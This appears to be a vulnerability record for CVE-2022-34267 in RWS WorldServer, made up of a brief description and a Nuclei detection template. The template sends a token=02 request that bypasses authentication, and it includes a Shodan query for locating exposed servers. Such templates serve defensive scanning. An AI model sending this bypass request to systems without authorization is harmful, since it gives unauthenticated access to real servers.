An issue was discovered in RWS WorldServer before 11.7.3. Adding a token parameter with the value of 02 bypasses all authentication requirements. Arbitrary Java code can be uploaded and executed via a .jar archive to the ws-api/v2/customizations/api endpoint.
PoC代码[已公开]
id: CVE-2022-34267
info:
name: RWS WorldServer - Authentication Bypass
author: pdresearch,iamnoooob,rootxharsh,parthmalhotra
severity: critical
description: |
An issue was discovered in RWS WorldServer before 11.7.3. Adding a token parameter with the value of 02 bypasses all authentication requirements. Arbitrary Java code can be uploaded and executed via a .jar archive to the ws-api/v2/customizations/api endpoint.
reference:
- https://www.triskelelabs.com/vulnerabilities-in-rws-worldserver
- https://www.rws.com/localization/products/trados-enterprise/worldserver/
- https://github.com/tanjiti/sec_profile
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-34267
cwe-id: CWE-287
epss-score: 0.73904
epss-percentile: 0.98764
cpe: cpe:2.3:a:rws:worldserver:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: rws
product: worldserver
shodan-query: title:"WorldServer"
tags: cve,cve2022,worldserver,auth-bypass,vuln
http:
- raw:
- |
GET /ws-api/v2/users/me/details?token=02 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"fullName":"System"'
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
# digest: 4a0a004730450221009bcc1714901acac92f53403903f5712fab64d8d6cab04a8d0c75f129bf1098ca02206e6711a7a6066afd64ebb17131bc4deff057649c3eec19925f784823c8d68b68:922c64590222798bb761d5b6d8e72950